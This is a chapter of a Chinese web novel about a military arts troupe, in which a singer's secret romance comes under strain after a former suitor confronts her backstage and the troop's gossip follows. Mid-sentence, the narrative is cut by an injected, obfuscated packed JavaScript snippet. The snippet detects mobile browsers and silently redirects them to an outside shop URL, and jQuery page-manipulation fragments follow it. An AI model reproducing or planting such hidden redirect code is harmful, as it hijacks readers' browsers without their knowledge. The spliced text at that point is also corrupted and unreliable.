卸了妆的兆悦刚端起水杯,就被一道沉凝的身影挡住了去路。
齐威穿过围在她身边说笑的战友,没有丝毫迂回,连半点客套都懒得维持,冷不丁开口,只掷出两个字:“是哪个?”
旁人听得一头雾水,面面相觑间还在猜测他的来意,唯有兆悦的脊背瞬间绷紧。
她太清楚这三个字的分量——他在问,那个让她拒绝了自己的人,到底是谁。
可她怎么能说。
她和陈灿的感情,是瞒着所有人的地下恋,还是她先主动开口不公开的。
部队的规矩森严,文工团里更是忌讳私下谈情说爱,一旦公开,不仅两人要受处分,连带着分队长、政委都要跟着担责。
这是她和陈灿心照不宣的底线,无论如何,她都不可能在大庭广众之下,把陈灿的名字说出来。
兆悦指尖攥紧了水杯,抬眼时,语气已恢复了惯常的平静:“是谁,很重要吗?”
这一句话,像火星落进了干柴堆,瞬间点燃了齐威心底压抑的火气。
不公开,不点明,连名字都不敢提——这分明就是见不得光的情愫。
他越想越急,越想越怒,脑海里翻涌着的全是质问:那个男人到底有什么好?连一个光明正大的名分都舍不得给她,连站在她身边承认这份感情的勇气都没有。
换作是他,他能给她堂堂正正的名分,能明媒正娶地把她接回家,能当着所有人的面,护她一辈子。
可眼前这个藏着掖着的人,又算什么真心?
怒火归怒火,齐威骨子里的正直和理智仍在。
他顾及着部队的规矩,更怕自己的冲动,把兆悦推到风口浪尖,牵连无辜之人。
于是他压着嗓子,话里的不满藏在隐晦的字句里,字字戳向这段不被公开的感情:“这样……算是重视你吗?是真的珍重你吗?”
兆悦不愿再与他在众人面前纠缠,更不想让这段对话沦为旁人的谈资。
她垂下眼睫,语气干脆又疏离,带着不容置喙的坚定:“我现在很好,过得很好。”
“很好?”
齐威心口猛地一堵,这轻飘飘的两个字,像一把钝刀,一下下割着他的心脏。
他看着眼前的兆悦,她比当年更挺拔,更从容,眼底的光再也不是当年那个追着他跑的小丫头的模样了。
他攥紧了拳头,声音里带着一丝不易察觉的颤抖,也带着满心的不甘:“你总说现在,难道你都忘了吗?都不要了吗?”
这话,彻底点燃了兆悦压在心底的所有情绪。
忘?怎么可能忘。
可那点过往,不过是年少懵懂时的悸动,是连她自己都分不清是依赖还是喜欢的情愫。
更何况,当初最先转身,最先将她放在取舍天平上,最先选择前程与家国的人,是他齐威,从来都不是她兆悦。
那些被搁置的等待,那些收到告别信时的茫然,那些独自熬过的长夜,此刻都被这一句话勾了出来。
兆悦咬了咬下唇,逼退眼底的湿意,语气冷得像冬日的冰:“也没什么。”
“没什么”三个字,轻描淡写,却成了压垮齐威最后一丝理智的稻草。
他再也绷不住了。
杭春明早就在一旁捏着一把汗,见势不对,立刻上前伸手去拉他:“齐威,有话好好说!”
可齐威此刻早已被情绪冲昏了头,猛地一把挥开他的手。
他的声音不受控制地拔高,引得周围的喧闹瞬间安静下来,所有目光都齐刷刷地投向了这里:“我不信!一切怎么可能就这么不作数了!”
“本来就没什么!”兆悦也红了眼,寸步不让,声音里带着压抑的哽咽。
齐威知道,他再克制,再等待,再盘算,就真的什么都留不住了。
这个一向稳妥、凡事都要谋定而后动的男人,第一次抛开了所有体面,抛开了所有顾虑,将藏了这么多年的心事,尽数吼了出来:“有人能像我这样,为你彻夜未眠地想吗?有人能像我这样……痛哭流涕过吗?”
“痛哭流涕”四个字,像一根尖锐的针,狠狠扎进了兆悦最不愿触碰的软肋。
周围战友们的目光,有好奇,有探究,有同情,还有些许看热闹的意味。
那些目光像针一样扎在她身上,让她觉得浑身发烫,无地自容。
她怎么会忘。
当年收到那封不告而别的信,她躲在被子里,抱着信纸哭到浑身发抖,哭到眼睛肿得像核桃,连饭都吃不下去。
那是她第一次尝到被人抛弃的滋味,是她感情里最狼狈、最不堪的一页,是她拼了命想要尘封的过往。
他怎么敢。
怎么敢在这样的场合,说这个词。
兆悦的脸色瞬间变得惨白,她再也不想多待一秒,猛地转身,快步朝着后台外走去。
何小萍一直站在人群边缘,虽不清楚两人之间的纠葛,却本能地站在兆悦这一边。
见兆悦走了,她立刻小碎步跟了上去,紧紧跟在她身后,小声地喊着:“悦儿姐!”
可刚走了没几步,兆悦又猛地顿住了脚步。
气到了极致,反倒逼出了一身骨子里的倔强。
她咬着牙,猛地转过身,快步走回齐威面前,仰着头,迎着他的目光,一字一句,嘴硬到底:“但我也没有为你痛哭流涕过。”
一旁的杭春明看着她这副模样,心里暗暗叹气——傻丫头,又在嘴硬。
他比谁都清楚,当年兆悦为了齐威,是怎样的痛哭一场。
他见过她躲在槐花树下,对着天空默默流泪;见过她把那封告别信叠了又拆,拆了又叠,直到信纸都起了毛边。
只是此刻,他无论如何都不可能拆穿她。他只能沉默地站在原地,满心无奈,又带着一丝担忧。
可这份担忧,在下一秒,瞬间变成了彻骨的寒意。
杭春明下意识地抬眼,想要看看周围的动静,却在目光扫过不远处的角落时,整个人瞬间僵住。
那里,是乐队放置乐器的地方。
陈灿站在阴影里,手里还握着那支擦得锃亮的小号。
他背靠着墙,身姿挺拔,脸上没什么表情,唯有眼底的光,深不见底。
没有人知道他站了多久。
但杭春明清楚,刚才发生的一切,那些争执,那些质问,那些“彻夜未眠”和“痛哭流涕”,他都一字不落地听在了耳里,一五一十地看在了眼里。
杭春明的心,瞬间沉到了谷底。
他在心里,默默替兆悦默哀了三秒钟。
完了。
这下,是真的完了。
回去的路上,并没有如政委和分队长所愿,发生郎情妾意、双双把家还的故事。
齐威提前离开,他们便知道,这事没成。
一连担下多个任务,再加上方才一事心力交瘁,兆悦累极了,一句话也不愿多说。
上车后便和何小萍相互靠着闭目歇息,杭春明守在一旁,目光频频望向陈灿,车厢昏暗,早已看不清他脸上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309141|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神情。
回到文工团已是清晨。
一夜颠簸,众人下车时都带着掩不住的倦意,匆匆去澡堂冲了热水,又各自回宿舍补觉。
这一觉睡得沉,再聚到食堂,已是晚饭时分。
食堂里碗筷碰撞声此起彼伏,空气里飘着饭菜香,也飘着止不住的闲话。
昨晚后台的事,成了这顿晚饭最现成的下饭菜。
那晚齐威说话时,在场的都是熟人:郝淑雯、萧穗子、杭春明、沈一娣、何小萍。
大嘴巴和不相干的人,彼时都在台上演出,半句也没听见。
郝淑雯心里存着疑,却也知道分寸,不好到处乱讲,只在宿舍和林丁丁提了两句。
除了“彻夜未眠”和“痛哭流涕”,齐威与兆悦再没多讲一个字,余下的全靠猜。
猜来猜去没头绪,郝淑雯便把主意打到了杭春明身上。
开饭时,她端着搪瓷碗,一手拽着萧穗子,一手拉着林丁丁,径直走到杭春明那张桌前,“哐当”一声把碗放下,开门见山:“杭春明,昨天晚上,到底怎么回事?”
杭春明自然不会把兆悦的私事到处乱讲,抬眼淡淡瞅了郝淑雯一眼,语气平静得不带一丝波澜:“我也不知道。”
郝淑雯哪里肯信,他明明从头到尾都在场,怎么可能不清楚内情。
她正要再追问,眼角余光忽然瞥见门口的身影,到了嘴边的话又硬生生咽了回去。
兆悦来了。
一瞬间,食堂里几道最八卦的目光“唰”地一下,全都吸在了兆悦身上,带着好奇、探究,还有几分心照不宣的打量。
兆悦心里隐约明白,昨晚那番争执,在场看见的人都在私下猜测,只是她当时慌乱又生气,根本没留意都有谁撞见了这一切。
她更不知道,最不该看见、最不该听见的那个人——陈灿,把所有的一切,都完完整整地看在了眼里,记在了心里。
兆悦把搪瓷碗轻轻放在桌上,几乎没什么胃口,拿着筷子有一下没一下地戳着碗里的饭,没扒几口便放下了筷子,脸色淡淡的,瞧不出情绪。
杭春明坐在一旁,看得简直是怒其不争——人齐威都已经彻底打发走了,她倒好,非但不知道赶紧去找陈灿解释、哄哄人,反倒自己在这儿蔫头耷脑。
他心里咯噔一下,一个念头瞬间窜上来:这丫头……该不会到现在都还不知道,陈灿当时全程都在旁边,把一切看得一清二楚、听得一字不落吧?
杭春明暗自倒吸一口凉气,却又没法明着点破,只能在心里叹气——自己悦儿姐这糊涂的爱情,还得自己旁敲侧击帮着守。
他清了清嗓子,装作随口一问,语气里带着只有自己懂的暗示,暗戳戳地开口:“吃好啦?”
兆悦没察觉异样,只轻轻点了下头,声音轻得像羽毛:“嗯。”
“你不用再说了,人家已经知道了。”
兆悦脑子“嗡”的一声,瞬间就反应过来——
是陈灿。
陈灿全都知道了。
她心里跟掀了地震似的,慌得快要站不住,脸上却还要死死绷住,不能让郝淑雯她们看出半点破绽。
她强压着心跳,把自己没动几口的碗轻轻推到杭春明面前。
杭春明立刻懂了,配合得天衣无缝,乐呵呵接过来就吃,一副“她吃不下我来解决”的自然样子,把旁人的目光都揽到自己身上。
不管郝淑雯、萧穗子、林丁丁怎么旁敲侧击拷问,他只管打太极,半点儿真东西都不漏。